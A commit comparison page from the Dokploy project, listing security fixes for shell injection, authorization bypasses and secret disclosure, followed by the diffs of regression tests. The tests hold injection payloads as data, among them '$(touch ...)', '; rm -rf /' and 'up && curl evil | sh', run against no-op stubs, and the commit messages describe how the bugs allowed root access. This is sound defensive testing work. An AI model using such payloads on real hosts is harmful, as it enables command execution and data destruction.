Compare commits

..

59 Commits

Author SHA1 Message Date
Mauricio Siu
35c30a1210 test: assert domain payload never parses as a shell operator (drop literal check)
quote() legitimately wraps the payload text inside single quotes, so the raw
substring is present but inert. leaksShellSyntax (via shell-quote parse) is the
correct assertion; the literal not.toContain check was wrong.
2026-07-20 16:07:11 -06:00
Mauricio Siu
a83b2026f6 fix(security): escape compose domain error message to prevent command injection
writeDomainsToCompose returns a shell fragment that is executed as part of the
compose build script. On error it interpolated error.message (which embeds the
user-controlled serviceName/host) directly into an echo, so a serviceName like
$(cmd) executed as root. Escape the message with quote().
2026-07-20 16:01:47 -06:00
Mauricio Siu
8c2e91a5e6 Merge pull request #4870 from Dokploy/fix/github-setup-callback-authz
fix(security): missing authorization on GitHub App setup callback (unauth cross-org write)
2026-07-20 15:40:46 -06:00
Mauricio Siu
0514363062 chore: drop explanatory comments in github setup handler 2026-07-20 15:37:17 -06:00
Mauricio Siu
ffb8d4396b Merge pull request #4869 from Dokploy/fix/schedule-host-authz-bypass
fix(security): host-schedule owner/admin bypass via applicationId (member → root)
2026-07-20 15:34:19 -06:00
Mauricio Siu
5ae344db58 fix(security): authenticate and authorize the GitHub App setup callback
The /api/providers/github/setup callback performed privileged writes (persisting
App client_secret/webhook_secret/private_key, re-pointing installations) with no
session check, deriving the write target (organizationId/userId on gh_init,
githubId on gh_setup) from the attacker-controlled state parameter. An
unauthenticated request, or a member with no gitProviders permission, could plant
or re-point a provider in any organization.

Require a valid session, gate on the gitProviders permission (same guard the tRPC
github router uses), derive the create target from the session, and verify the
gh_setup provider belongs to the caller's organization.
2026-07-20 15:32:06 -06:00
autofix-ci[bot]
f339805ddf [autofix.ci] apply automated fixes 2026-07-20 21:30:52 +00:00
Mauricio Siu
8fe3294a08 fix(schedule): give scheduleType a clean enum type for the host-access gate
createInsertSchema inferred scheduleType as a broadened union (drizzle-zod 0.5.1),
so passing input.scheduleType into assertHostScheduleAccess failed typecheck on a
cold build. Refine the insert schema's scheduleType to a plain z.enum and type the
helper param as the schedule enum.
2026-07-20 15:30:13 -06:00
Mauricio Siu
1e3f10bd22 fix(security): enforce owner/admin gate on host schedules regardless of service link
Host-level schedules (server / dokploy-server) run their script as root on the
host. The owner/admin gate only ran in the no-service branch, so a member could
attach an accessible applicationId to a dokploy-server schedule and skip it,
gaining root via schedule.runManually.

Extract assertHostScheduleAccess into the schedule service and call it before
the service-access branch in create/update/delete/runManually so the host-level
authorization always applies.
2026-07-20 15:22:06 -06:00
Mauricio Siu
393fb92344 Merge pull request #4865 from Dokploy/fix/authz-websocket-handlers
fix(security): missing authorization on docker/terminal WebSocket handlers (member -> root)
2026-07-20 15:00:02 -06:00
Mauricio Siu
79c9cf99e0 fix(security): pass serviceId from the remaining terminal entry points
- application general 'Open Terminal' now passes serviceId (applicationId).
- The docker/terminal DockerTerminalModal now forwards serviceId to its Terminal.
- compose container rows thread serviceId to their terminal + logs modals.

This lets a member with service access (but without the docker permission) open
the terminal / read logs of their own service's containers from every service
view, matching the backend service-first authorization.
2026-07-20 01:20:16 -06:00
autofix-ci[bot]
6cbc7a0031 [autofix.ci] apply automated fixes 2026-07-20 07:15:39 +00:00
Mauricio Siu
eb1f11b908 fix(security): service access is authoritative for service-scoped wss ops
When a container is opened from a service page (serviceId present), gate on
service access alone — matching application.readLogs — instead of requiring the
docker permission first. This unblocks a member who has the service but not the
canAccessToDocker permission (or the server it runs on) from reading its logs /
opening its terminal. Generic Docker-overview ops (no serviceId) still require
docker permission + server access.
2026-07-20 01:15:18 -06:00
autofix-ci[bot]
1a3c76d1f2 [autofix.ci] apply automated fixes 2026-07-20 06:48:40 +00:00
Mauricio Siu
1e354a3cf2 fix(security): check service access before server in wss authz, and pass serviceId from log views
- Reorder canAccessDockerOverWss: docker permission -> service access (if
  serviceId) -> server access, so the service grant is the primary signal.
- Pass serviceId from the service log views (application + postgres/mysql/mariadb/
  mongo/redis/libsql + compose) so container logs opened from a service page are
  gated by checkServiceAccess, matching the terminal path.
2026-07-20 00:48:20 -06:00
Mauricio Siu
1bc76e9e5b Reapply "feat(security): enforce service-level access on docker WebSocket handlers"
This reverts commit 56169f3278.
2026-07-20 00:35:40 -06:00
Mauricio Siu
56169f3278 Revert "feat(security): enforce service-level access on docker WebSocket handlers"
This reverts commit 479d851829.
2026-07-20 00:29:19 -06:00
Mauricio Siu
479d851829 feat(security): enforce service-level access on docker WebSocket handlers
Completes GHSA-qf9j service-level dimension: when a container terminal/logs/stats
is opened from a service page, the frontend now passes serviceId, and the wss
authorizer calls checkServiceAccess so a member restricted to specific services
cannot reach another service's containers. Generic Docker-overview opens have no
serviceId and keep the docker-permission + server-access gate.

Verified against the local WebSocket: a member (docker:read=false) is rejected
with close code 4003; owner is allowed.

Closes GHSA-qf9j-c9p4-r4xp
2026-07-20 00:14:39 -06:00
Mauricio Siu
68f5afae42 fix(security): authorize docker/terminal WebSocket handlers
The /terminal, /docker-container-terminal, /docker-container-logs and
/docker-stats WebSocket handlers only checked session + organization, so any
authenticated member could open a root shell / read logs of any container, and
the local (serverId=local) branch reached a root SSH shell on the control-plane
host.

Adds an authorization layer (server/wss/authorize.ts):
- container ops (terminal/logs/stats): require the docker permission (owner/admin
  or a member granted canAccessToDocker); for a remote server, require the server
  be accessible to the caller.
- host/server terminal: the local host root terminal is restricted to owner/admin;
  a remote server terminal is gated on server access.

Closes GHSA-c68r-7wg9-p7v2, GHSA-899j-cjwp-v4gw, GHSA-7r6p-v9gw-pwc8, GHSA-qf9j-c9p4-r4xp
2026-07-19 23:49:02 -06:00
Mauricio Siu
637715ac66 Merge pull request #4864 from Dokploy/fix/cmdi-registry-swarm-node
fix(security): OS command injection via swarm nodeId and registry tag
2026-07-19 23:36:26 -06:00
Mauricio Siu
df2779eaeb fix(security): escape swarm nodeId and registry tag in cluster commands
- cluster.removeWorker: input.nodeId (z.string(), no regex) was interpolated raw
  into 'docker node update/rm ${nodeId}' — now shell-quoted.
- swarm image upload (getRegistryCommands): registryTag / imageName were
  interpolated raw into 'docker tag'/'docker push' and an echo. registryTag is
  built from username and imagePrefix, which have no schema regex, so it was
  injectable — now shell-quoted. (The docker login already used
  safeDockerLoginCommand, so credentials were already safe.)
- gpu-setup: nodeId (derived from 'docker info', not user input) escaped as
  defense-in-depth.

Closes GHSA-4mfc-grxw-6858, GHSA-hfwh-69ch-gv47, GHSA-prwq-2mcm-mvhr
2026-07-19 23:34:18 -06:00
Mauricio Siu
95a3556baa Merge pull request #4863 from Dokploy/fix/cmdi-compose-path-command
fix(security): OS command injection via compose path and custom command
2026-07-19 23:11:33 -06:00
autofix-ci[bot]
fbd84b9b0d [autofix.ci] apply automated fixes 2026-07-20 05:07:24 +00:00
Mauricio Siu
d48037a802 fix(security): escape compose path and validate custom compose command
- composePath / appName are now passed through shell-quote in createCommand,
  getCreateEnvFileCommand and services/compose.ts deploy commands, instead of
  being interpolated raw into 'docker compose'/'docker stack' shell commands.
- compose.command: sanitizeCommand was cosmetic (trim + strip quotes). It now
  rejects shell control characters (; & | ` $ () {} <> newline), which a normal
  docker compose CLI line never contains, blocking breakout into host commands.

Closes GHSA-8r5w-vqjr-8c44, GHSA-5xv2-7f8w-9j5c, GHSA-qh6h-669j-77rw
2026-07-19 23:06:53 -06:00
Mauricio Siu
8539a5c82f Merge pull request #4862 from Dokploy/fix/cmdi-db-backup-restore
fix(security): OS command injection in database backup/restore commands
2026-07-19 22:59:42 -06:00
Mauricio Siu
ccd2e83c57 fix(security): pass db backup/restore identifiers via env vars to avoid injection
The backup and restore command builders interpolated database name / user /
password directly into a 'docker exec ... {bash,sh} -c "..."' string executed
via execAsync / execAsyncRemote. Because the values sit inside the outer shell's
double quotes, a simple quote() is insufficient: the outer shell expands $(),
backticks and $VAR before the inner quoting applies (double-nested shell).

Values are now passed to the container as environment variables (docker exec -e
VAR=<shell-quoted>) and referenced as "$VAR" inside a single-quoted inner
script, so they never enter the inner command text and cannot break out of
either shell layer. The rest of each command (pg_dump/mysqldump/etc., flags,
| gzip) is unchanged.

Closes GHSA-qc73-mp78-4833, GHSA-qf8x-98cv-92qh, GHSA-ww4j-wjrr-rq8v, GHSA-7m3w-rm5f-h4fr, GHSA-f7mp-9jfp-mjrr
2026-07-19 22:54:44 -06:00
Mauricio Siu
89effbe395 Merge pull request #4861 from Dokploy/fix/cmdi-db-service-dockerimage
fix(security): OS command injection via dockerImage in database service deploys
2026-07-19 22:46:44 -06:00
Mauricio Siu
b24202e69b fix(security): escape dockerImage in database service remote docker pull
The deploy functions for postgres/mysql/mariadb/mongo/redis/libsql interpolated
the user-settable dockerImage field unquoted into 'docker pull ${dockerImage}'
executed via execAsyncRemote (SSH) on the remote server path. Now passed through
shell-quote. The local path already used pullImage() (execFile-based) and is
unaffected.

Closes GHSA-6jrh-8qmg-jj3p
2026-07-19 22:45:31 -06:00
Mauricio Siu
0348f5fb38 Merge pull request #4860 from Dokploy/fix/cmdi-docker-build-pull
fix(security): OS command injection in docker build/pull commands
2026-07-19 22:40:47 -06:00
Mauricio Siu
cba0b253c7 fix(security): escape user input in docker build/pull commands
- dockerImage (buildRemoteDocker) -> docker pull / echo
- dockerContextPath (docker-file builder) -> cd
- publishDirectory (nixpacks builder) -> docker cp source/dest paths

These fields were interpolated unescaped into shell commands run via execAsync /
execAsyncRemote during deployment. All are now passed through shell-quote.
Registry credentials already went through safeDockerLoginCommand (unchanged).

Closes GHSA-g9cg-4mmj-mh7p, GHSA-jxxj-gmpx-h5rj, GHSA-qjrc-g63x-qhp9, GHSA-98j8-6vjr-c3xw
2026-07-19 21:53:55 -06:00
Mauricio Siu
1c31ed9969 Merge pull request #4859 from Dokploy/fix/idor-application-one-secret-redaction
fix(security): git provider secret disclosure via application.one
2026-07-19 21:46:29 -06:00
Mauricio Siu
ecbaf6060b refactor(security): exclude git provider secrets at query level in findApplicationById
Simpler and consistent with the existing registry column exclusion in the same
query: drop the secret columns from the nested github/gitlab/gitea/bitbucket
relations via columns:{ ...: false } instead of a post-fetch redaction helper.
Server-side clone paths re-fetch providers by id (find{Github,Gitlab,...}ById),
so deployments are unaffected. Column names are validated at compile time by
drizzle's typed columns config.

Closes GHSA-hg9j-j5mc-phf5, GHSA-wx75-vxph-2m2f
2026-07-19 21:43:51 -06:00
Mauricio Siu
c0afc48da8 docs: trim block comment on redactApplicationGitSecrets 2026-07-19 21:35:59 -06:00
Mauricio Siu
65fe737bc4 Merge pull request #4858 from Dokploy/fix/idor-swarm-cross-org
fix(security): cross-org IDOR + nodeId injection in swarm read endpoints
2026-07-19 21:28:53 -06:00
autofix-ci[bot]
77384b2183 [autofix.ci] apply automated fixes 2026-07-20 03:28:36 +00:00
Mauricio Siu
68ea9f7771 fix(security): redact git provider secrets from application.one response
findApplicationById eagerly loads the github/gitlab/gitea/bitbucket relations
(needed server-side to clone) including OAuth tokens, the GitHub App private key
and webhook secret. application.one returned them to the client, exposing them to
any member with service:read even when hasGitProviderAccess was false.

Adds redactApplicationGitSecrets() in the application service (blanks the secret
columns, immutably) and applies it to application.one. No client feature reads
these secrets (verified in the frontend); server-side clone paths use
findApplicationById directly, so behaviour is unchanged.

Closes GHSA-hg9j-j5mc-phf5, GHSA-wx75-vxph-2m2f
2026-07-19 21:28:02 -06:00
Mauricio Siu
182d3656bb refactor: inline the server org-scope check in each swarm handler
Match the existing getContainerStats style instead of a shared helper.
2026-07-19 21:26:37 -06:00
Mauricio Siu
c2c0e9c1c2 Merge pull request #4857 from Dokploy/fix/idor-server-ssh-key-disclosure
fix(security): SSH private key disclosure via server read endpoints
2026-07-19 21:22:56 -06:00
Mauricio Siu
5563699f71 fix(security): enforce org-scope on swarm reads and escape nodeId
swarm.getNodes/getNodeInfo/getNodeApps/getAppInfos accepted a caller-supplied
serverId and ran remote Docker Swarm reads against it with no organization
check, exposing another tenant's swarm topology cross-org (getContainerStats
already had the check; the others did not). getNodeInfo additionally
interpolated nodeId unescaped into 'docker node inspect ${nodeId}'.

Adds an org-ownership assertion to the four unscoped handlers and passes nodeId
through shell-quote in getNodeInfo.

Closes GHSA-jj6h-388v-9rwm
2026-07-19 21:20:47 -06:00
Mauricio Siu
117cfa1a89 test(types): annotate server record without sshKey relation in redaction test 2026-07-19 21:18:57 -06:00
Mauricio Siu
439eee45ed fix(security): redact SSH private key from server read responses
findServerById eagerly loads the sshKey relation (needed for server-side SSH
operations) including the plaintext privateKey. server.one and server.remove
returned that record to the client, exposing the private key to any member
with server:read regardless of canAccessToSSHKeys.

Adds redactServerSshKey() in the server service and applies it to the server.one
and server.remove responses. No client feature consumes the private key (the SSH
key management UI uses the dedicated sshKey router), and server-side callers keep
using findServerById directly, so behaviour is unchanged.

Closes GHSA-w9cp-jqfw-4xj9
2026-07-19 21:14:10 -06:00
Mauricio Siu
e88c6b6b4f Merge pull request #4856 from Dokploy/fix/idor-git-provider-secret-disclosure
fix(security): git provider credential disclosure via cross-org IDOR (.one endpoints)
2026-07-19 21:11:08 -06:00
Mauricio Siu
26cae3b8a9 fix(types): guard git-provider access check for optional id in getBranches
The getBranches inputs type the provider id as optional, so only fetch and
authorize when an id is actually present; the underlying getBranches already
returns [] when no id is supplied.
2026-07-19 21:04:54 -06:00
Mauricio Siu
071d9eacee fix(security): enforce org-scope on git provider read endpoints
The .one / getRepositories / getBranches / testConnection handlers for
github, gitlab, gitea and bitbucket resolved a provider by bare id under
protectedProcedure and returned the full row (OAuth tokens, app private
keys, webhook secrets) with no organization or entitlement check, letting
any authenticated user read another org's git-provider credentials (IDOR).

Adds assertGitProviderAccess() in the git-provider service (rejects cross-org
with NOT_FOUND and non-entitled same-org with FORBIDDEN, reusing the existing
getAccessibleGitProviderIds entitlement logic) and calls it in every read
handler before returning secret-bearing data.

Closes GHSA-66r5-5m5f-57vg
2026-07-19 20:55:53 -06:00
Mauricio Siu
57ecfa8884 Merge pull request #4855 from Dokploy/fix/cmdi-git-clone-providers
fix(security): OS command injection in git clone across all providers
2026-07-19 20:49:30 -06:00
Mauricio Siu
97cd7d1009 test(security): fix type error in shell-quote op assertion 2026-07-19 20:47:42 -06:00
Mauricio Siu
cf35eae73f test(security): regression tests for git clone command injection escaping 2026-07-19 20:44:46 -06:00
autofix-ci[bot]
fb7f5bd5b6 [autofix.ci] apply automated fixes 2026-07-20 02:32:57 +00:00
Mauricio Siu
47347ab885 fix(security): escape user input in git clone commands across all providers
User-controlled git fields (customGitUrl, branch names, repo owner/name,
gitlab namespace, SSH hostname) were interpolated unescaped into git clone /
ssh-keyscan shell commands run via execAsync / execAsyncRemote, allowing
authenticated OS command injection. All such values are now passed through
shell-quote before interpolation (defense at the sink, covering every code
path including the compose branch bypass).

Closes GHSA-qxcw-cx35-2hrw, GHSA-hrfh-82jj-3q46, GHSA-6693-xv3f-69px,
GHSA-qwwm-hc7m-7xp9, GHSA-grrj-6xrh-j6vp, GHSA-x2p2-qq8g-2mqq,
GHSA-cg8g-x23v-5fw8
2026-07-19 20:32:15 -06:00
Mauricio Siu
74811073f6 Remove unused localization files for various languages in the Dokploy application, including common and settings JSON files for Azerbaijani, German, English, Spanish, Persian, French, Indonesian, Italian, Japanese, Korean, Kazakh, Malayalam, Dutch, Norwegian, and Polish. This cleanup helps streamline the localization process by eliminating empty files. 2026-07-19 20:11:20 -06:00
Mauricio Siu
df3965a581 Merge pull request #4800 from EvanSchleret/fix/typo
fix(ui): typos
2026-07-14 23:44:00 -06:00
Mauricio Siu
bddc0c3d15 Merge pull request #4825 from Dokploy/fix/allow-clearing-server-domain
fix(settings): allow clearing the server domain
2026-07-14 15:20:27 -06:00
Mauricio Siu
9626c162cc Merge pull request #4826 from Dokploy/fix/repo-selector-duplicate-names
fix(ui): disambiguate repos with the same name in the repository selector
2026-07-14 15:18:47 -06:00
Mauricio Siu
c4596ffa76 refactor(ui): improve repository and branch display in popovers
Updated the PopoverContent components across various provider files to ensure consistent width and padding. Enhanced the display of repository and branch names by adding truncation to prevent overflow in the UI. This change applies to Bitbucket, Gitea, GitHub, and GitLab provider components, as well as their respective compose components.
2026-07-14 15:16:56 -06:00
Mauricio Siu
de62aff0fb fix(ui): disambiguate repos with the same name in the repository selector
The repository CommandItem used the repo name as its cmdk value and
the check icon compared only names, so two repos with the same name in
different owners/orgs showed the selected checkmark and hover on both
entries. Key the item by owner/name and include the owner in the
selected comparison. GitLab already keyed by URL and is unaffected.

Fixes #4793
2026-07-14 11:42:31 -06:00
Mauricio Siu
d5dd35c8f8 fix(settings): allow clearing the server domain
The Server Domain form rejected an empty value ('Invalid domain name'),
making domain assignment a one-way operation. The backend already
removes the Traefik router and clears the host when it receives an
empty host, so only the client-side validation blocked removal.

Allow an empty domain to clear it, and skip the https/letsencrypt
requirements when the domain is being removed.

Fixes #4821
2026-07-14 11:39:30 -06:00
Mauricio Siu
4631ede015 Merge pull request #4823 from Dokploy/fix/compose-volume-suffix-access-mode
fix(compose): preserve named-volume access mode when adding suffix
2026-07-14 11:38:10 -06:00
Mauricio Siu
bc22d05f8d fix(compose): preserve named-volume access mode when adding suffix
The randomize/isolated-deployment volume transform split mount strings
on ':' and kept only the first two segments, so an access mode like
:ro, :z or :Z was silently dropped and read-only mounts became
read-write. Keep the full path+mode remainder when rebuilding the
mount string.

Fixes #4818
2026-07-14 11:34:46 -06:00
Evan Schleret
12d3f1871c fix(ui): typos 2026-07-12 03:13:52 +02:00
135 changed files with 1585 additions and 1544 deletions

View File

@@ -0,0 +1,106 @@
import { execSync } from "node:child_process";
import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
import {
getLibsqlBackupCommand,
getMariadbBackupCommand,
getMongoBackupCommand,
getMysqlBackupCommand,
getPostgresBackupCommand,
} from "@dokploy/server/utils/backups/utils";
import {
getMariadbRestoreCommand,
getMongoRestoreCommand,
getMysqlRestoreCommand,
getPostgresRestoreCommand,
} from "@dokploy/server/utils/restore/utils";
import { afterAll, beforeAll, describe, expect, it } from "vitest";
// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
// exports the -e VAR=val pairs, and runs the inner `sh -c <script>` — so the
// test exercises BOTH shell layers (outer /bin/sh building the docker command,
// and the inner shell) the way production does, without needing a container.
const stub = `/tmp/docker_stub_${process.pid}`;
const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;
beforeAll(() => {
writeFileSync(
stub,
`#!/bin/bash
shift # exec
envs=()
while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
shift 2 # -i CONTAINER
shell="$1"; shift # bash|sh
shift # -c
env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
`,
);
chmodSync(stub, 0o755);
});
afterAll(() => {
if (existsSync(stub)) rmSync(stub);
if (existsSync(MARK)) rmSync(MARK);
});
// Run a builder-produced command with `docker` pointed at the stub; return true
// if no injected command fired.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
const withStub = command.replace(/^docker /, `${stub} `);
try {
execSync(withStub, {
shell: "/bin/bash",
stdio: "ignore",
env: { ...process.env, CONTAINER_ID: "test" },
});
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
// Payloads that try to break out of every quoting style used in the builders.
const p = (mark: string) => [
`$(touch ${mark})`,
"`touch " + mark + "`",
`x'; touch ${mark}; '`,
`x"; touch ${mark}; echo "`,
`x; touch ${mark}`,
];
describe("database backup/restore command injection", () => {
const cases: Array<[string, (v: string) => string]> = [
["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
[
"mariadb restore (password)",
(v) => getMariadbRestoreCommand("db", "u", v),
],
["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
];
for (const [label, build] of cases) {
it(`${label} is not injectable`, () => {
for (const payload of p(MARK)) {
expect(runsSafely(build(payload))).toBe(true);
}
});
}
it("preserves a legitimate database name (passed through as env var)", () => {
const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
// Values live in -e assignments, never inline in the pg_dump text.
expect(cmd).toContain("-e DB_NAME=my-db_prod");
expect(cmd).toContain("-e DB_USER=app_user");
expect(cmd).toContain(
'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
);
});
});

View File

@@ -0,0 +1,70 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { getRegistryTag } from "@dokploy/server/utils/cluster/upload";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
const MARK = `/tmp/dokploy_regnode_pwned_${process.pid}`;
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = (m: string) => [
`$(touch ${m})`,
"`touch " + m + "`",
`x; touch ${m}`,
`x | touch ${m}`,
];
describe("cluster removeWorker nodeId injection", () => {
// docker node update/rm ${quote([nodeId])} — replace `docker node` with `:`.
it("escapes nodeId in drain/remove commands", () => {
for (const nodeId of PAYLOADS(MARK)) {
const drain = `: node update --availability drain ${quote([nodeId])}`;
const remove = `: node rm ${quote([nodeId])} --force`;
expect(runsSafely(drain)).toBe(true);
expect(runsSafely(remove)).toBe(true);
}
});
});
describe("swarm upload registry tag/push injection", () => {
// registryTag is built from registryUrl/username/imagePrefix (username and
// imagePrefix have no schema regex). Assert docker tag/push stay safe.
it("escapes a malicious imagePrefix flowing into the registry tag", () => {
for (const payload of PAYLOADS(MARK)) {
const registryTag = getRegistryTag(
{
registryUrl: "registry.example.com",
imagePrefix: payload,
username: "user",
} as any,
"app:latest",
);
const tagCmd = `: tag ${quote(["app:latest"])} ${quote([registryTag])}`;
const pushCmd = `: push ${quote([registryTag])}`;
expect(runsSafely(tagCmd)).toBe(true);
expect(runsSafely(pushCmd)).toBe(true);
}
});
it("keeps a legitimate registry tag intact", () => {
const tag = getRegistryTag(
{
registryUrl: "registry.example.com",
imagePrefix: "team",
username: "user",
} as any,
"myapp:1.2.3",
);
expect(tag).toBe("registry.example.com/team/myapp:1.2.3");
expect(parse(quote([tag]))).toEqual([tag]);
});
});

View File

@@ -0,0 +1,104 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { createCommand } from "@dokploy/server/utils/builders/compose";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
const base = {
composeType: "docker-compose" as const,
appName: "compose-app",
sourceType: "raw" as const,
command: "",
composePath: "docker-compose.yml",
};
// createCommand output is interpolated as `docker ${command}` at the deploy
// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = [
`$(touch ${MARK})`,
"`touch " + MARK + "`",
`x; touch ${MARK}`,
`x | touch ${MARK}`,
];
describe("compose createCommand injection", () => {
it("escapes composePath (docker-compose)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("escapes composePath (stack deploy)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
composeType: "stack",
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("escapes appName", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
appName: p,
composePath: "docker-compose.yml",
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});
it("rejects a custom command containing shell control characters", () => {
for (const bad of [
"up -d; rm -rf /",
"up && curl evil | sh",
"up $(touch x)",
"up `id`",
]) {
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
/Invalid characters/,
);
}
});
it("allows a legitimate custom command", () => {
const cmd = createCommand({
...base,
command: "compose -f docker-compose.yml -p app up -d --build",
} as any);
expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
});
it("keeps a legitimate composePath intact", () => {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: "deploy/docker-compose.prod.yml",
} as any);
expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
"deploy/docker-compose.prod.yml",
);
});
});

View File

@@ -0,0 +1,68 @@
import { parse } from "shell-quote";
import { describe, expect, it, vi } from "vitest";
// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
// "exists" but does not contain the attacker's service, forcing the error path
// whose message embeds the user-controlled serviceName.
vi.mock("node:fs", async (importOriginal) => {
const actual = await importOriginal<typeof import("node:fs")>();
return {
...actual,
existsSync: () => true,
readFileSync: () => "services:\n web:\n image: nginx\n",
};
});
import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
const baseCompose = {
appName: "my-app",
serverId: null,
composeType: "docker-compose",
sourceType: "raw",
composePath: "docker-compose.yml",
isolatedDeployment: false,
randomize: false,
suffix: "",
} as any;
const makeDomain = (serviceName: string) =>
({
host: "example.com",
serviceName,
https: false,
uniqueConfigKey: 1,
port: 3000,
}) as any;
// If the returned shell fragment is safe, parse() yields only string tokens.
// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
const leaksShellSyntax = (command: string, marker: string) =>
parse(command).some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
it("does not let a malicious serviceName inject shell operators", async () => {
const result = await writeDomainsToCompose(baseCompose, [
makeDomain("$(touch /tmp/pwned)"),
]);
// The service does not exist in the compose, so we hit the error branch.
expect(result).toContain("Has occurred an error");
// The payload text may appear inside the single-quoted echo argument, but
// it must never parse as a shell operator ($(), backtick, ; …).
expect(leaksShellSyntax(result, "touch")).toBe(false);
});
it("neutralizes backtick and semicolon payloads too", async () => {
for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
const result = await writeDomainsToCompose(baseCompose, [
makeDomain(`svc${payload}`),
]);
expect(leaksShellSyntax(result, "rm")).toBe(false);
expect(leaksShellSyntax(result, "curl")).toBe(false);
expect(leaksShellSyntax(result, "id")).toBe(false);
}
});
});

View File

@@ -42,6 +42,39 @@ test("Add suffix to volumes declared directly in services", () => {
);
});
const composeFileAccessMode = `
version: "3.8"
services:
web:
image: nginx:alpine
volumes:
- web_config:/etc/nginx/conf.d:ro
- certs/sub:/etc/certs:Z
`;
test("Add suffix to volumes preserves access mode (:ro, :z, :Z)", () => {
const composeData = parse(composeFileAccessMode) as ComposeSpecification;
const suffix = generateRandomHash();
if (!composeData.services) {
return;
}
const updatedComposeData = addSuffixToVolumesInServices(
composeData.services,
suffix,
);
expect(updatedComposeData.web?.volumes).toContain(
`web_config-${suffix}:/etc/nginx/conf.d:ro`,
);
expect(updatedComposeData.web?.volumes).toContain(
`certs-${suffix}/sub:/etc/certs:Z`,
);
});
const composeFileTypeVolume = `
version: "3.8"

View File

@@ -0,0 +1,41 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
// path. `docker` is replaced by `:` so only the injection surface is exercised.
const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;
const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"redis:7; touch %MARK%",
"redis:7 && touch %MARK%",
"redis:7 | touch %MARK%",
];
describe("database service dockerImage command injection", () => {
it("does not execute injected commands from dockerImage", () => {
for (const template of PAYLOADS) {
if (existsSync(MARK)) rmSync(MARK);
const dockerImage = template.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}`;
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
expect(existsSync(MARK)).toBe(false);
}
if (existsSync(MARK)) rmSync(MARK);
});
it("keeps a legitimate image tag intact", () => {
expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
"postgres:16.4-alpine",
]);
expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
"ghcr.io/org/db:latest",
]);
});
});

View File

@@ -0,0 +1,66 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";
// Reproduces the escaping applied at the docker build/pull sinks and asserts no
// payload can break out of the command. `docker`/`cd` are replaced by `:` so the
// test exercises only the injection surface, not real docker.
const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`;
const runAndCheckSafe = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {
// no-op stand-ins may exit non-zero; only the marker matters.
}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};
const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"x; touch %MARK%",
"x && touch %MARK%",
"x | touch %MARK%",
];
describe("docker build/pull command injection", () => {
